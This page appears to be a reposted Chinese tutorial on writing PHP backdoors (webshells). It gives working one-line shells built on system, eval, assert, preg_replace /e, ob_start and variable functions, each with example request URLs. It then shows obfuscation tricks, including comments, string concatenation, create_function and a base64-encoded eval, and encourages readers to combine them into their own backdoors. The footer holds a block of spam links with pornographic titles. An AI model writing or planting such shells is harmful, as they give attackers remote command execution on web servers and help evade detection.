站長資訊網
        最全最豐富的資訊網站

        php后門的編寫

        0x1 原理 1、執行系統命令的函數 proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個例子,其他的可以查看php手冊編寫 system() ? php system($_GET[‘input’]); ? http://192.168.247.133:81/shell.php?input=dir “執行命令 “執行命令等…

        0x1 原理

        1、執行系統命令的函數

        proc_open, popen, exec, shell_exec,passthru,system

        這里只給出兩個例子,其他的可以查看php手冊編寫

         

        system()

        1. <?php 
        2. system($_GET[‘input’]); 
        3. ?> 

        http://192.168.247.133:81/shell.php?input=dir

         

        ““”執行命令

        “執行命令等價于shell_exec()函數來執行命令。

        1. <?php 
        2. echo`$_GET[input]`; 
        3. ?> 

        http://192.168.247.133:81/shell.php?input=dir

        再來個更短的

        1. <?=@`$_GET[c]`?> 

        http://192.168.247.133:81/shell.php?c=dir

        注:這個要開啟short_open_tag的,不過默認為on

        2、可以執行代碼的函數

        eval() 函數把字符串按照PHP 代碼來計算,該字符串必須是合法的PHP 代碼,且必須以分號結尾。

        1. <?php 
        2. eval($_GET[‘input’]); 
        3. ?> 

        正則表達式

        Preg_replace函數的作用是用來執行常規表達式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規表達式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串數,count是成功替換的數目。函數將返回替換后的字符串,當Pattern參數使用/e修正符時,preg_replace函數會將replacement參數當作PHP代碼執行。

        1. <?php 
        2. preg_replace(“//e”,$_GET[‘input’],”qingsh4n”); 
        3. ?> 

        assert()

        assert這個函數在php語言中是用來判斷一個表達式是否成立。但是其字符串參數會被執行。

        1. <?php 
        2. assert($_GET[‘input’]); 
        3. ?> 

        ob_start()

        1. <?php 
        2. $foobar =$_GET[‘input1’]; 
        3. ob_start($foobar); 
        4. echo$_GET[‘input2’]; 
        5. ob_end_flush(); 
        6. ?> 

        http://192.168.247.133:81/shell.php?input1=system&input2=dir

        更多的函數需要同志們去挖掘。

        0x2 如何混淆

        1、注釋/**/

        1. <?php 
        2. assert/**/($/**/{“_GET”}[‘input’]); 
        3. ?> 

        2、連接號

        php中“.”為字符串連接符號

        1. <?php 
        2. $var =”a”; 
        3. $var .=”ss”; 
        4. $var .=”er”; 
        5. $var .=”t”; 
        6. $var($_GET[‘input’]); 
        7. ?> 

        注:測試時發現,echo()、eval()等函數無效。

         

        3、創建函數

        create_function() 創建一個匿名函數

        1. <?php 
        2. $foobar =$_GET[‘input’]; 
        3. $dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”); 
        4. $dyn_func(”); 
        5. ?> 

        5、編碼函數,base64等

        1. <?php 
        2. assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’)); 
        3. ?> 

        注:其他的編碼函數有gzinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊編寫。

         

        6、可變函數

        PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。

        1. <?php 
        2. $dyn_func =$_GET[‘dyn_func’]; 
        3. $argument =$_GET[‘argument’]; 
        4. $dyn_func($argument); 
        5. ?> 

        如果register_globals=on時,代碼可以改為如下形式:

        1. <?php 
        2. $input1($input2); 
        3. ?> 

        http://192.168.247.133:81/shell.php?input1=system&input2=dir

        注:同樣可以利用call_user_func()、array_walk()等函數

        0x3 編寫自己的webshell

        通過上面的知識,可以任意組合上面寫到的代碼執行和混淆技術,編寫屬于自己的php后門應該是順手拈來的事,如果誰有好的發現或者是奇淫技巧記得告訴我。最后附上酷殼上面關于hello world的6種變態寫法,也許在這里面會找到些許靈感。

        0x4 參考

        http://www.php.net/

        http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22

        http://www.t00ls.net/viewthread.php?tid=18951

        http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63

        http://h.ackack.net/tiny-php-shell.html

        http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

         

        ps:本來想好好寫完的,但是看到moyer牛那篇文章后,一下子感覺寫的這些都蒼白無力了。

         

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: www夜片内射视频日韩精品成人| 久久久久久久久久免免费精品| 国产精品无码DVD在线观看| 亚洲AV永久无码精品水牛影视 | 3D动漫精品啪啪一区二区下载| 久久久无码精品亚洲日韩软件| 日本精品久久久久中文字幕| 精品国精品无码自拍自在线| 亚洲国产精品狼友中文久久久| 亚洲高清国产拍精品青青草原| 99re66热这里只有精品| 久久久久国产精品嫩草影院| 青青草国产精品久久| 99精品久久久久中文字幕| 久久99精品久久久久久久久久| 完整观看高清秒播国内外精品资源 | aaa级精品久久久国产片| 亚洲精品国产美女久久久| 日本一区二区三区精品国产| 久久精品成人免费观看97| 国产亚洲精品线观看动态图| 91在线手机精品超级观看| 欧美大片日韩精品| 国产精品久久网| 精品国产综合成人亚洲区| 国产精品自拍一区| 国内精品免费在线观看| 国产精品1024香蕉在线观看 | 亚洲精品无码MV在线观看| 亚洲国产精品ⅴa在线观看| 日本精品久久久久影院日本 | 国内精品久久久久久野外| 欧美精品华人在线| 亚洲国产成人久久精品动漫 | 无码少妇精品一区二区免费动态| 亚洲精品视频免费| 亚洲精品无码不卡在线播放HE| 亚洲AV无码精品色午夜果冻不卡| 亚洲欧美日韩国产一区二区三区精品| 午夜三级国产精品理论三级 | 影院无码人妻精品一区二区|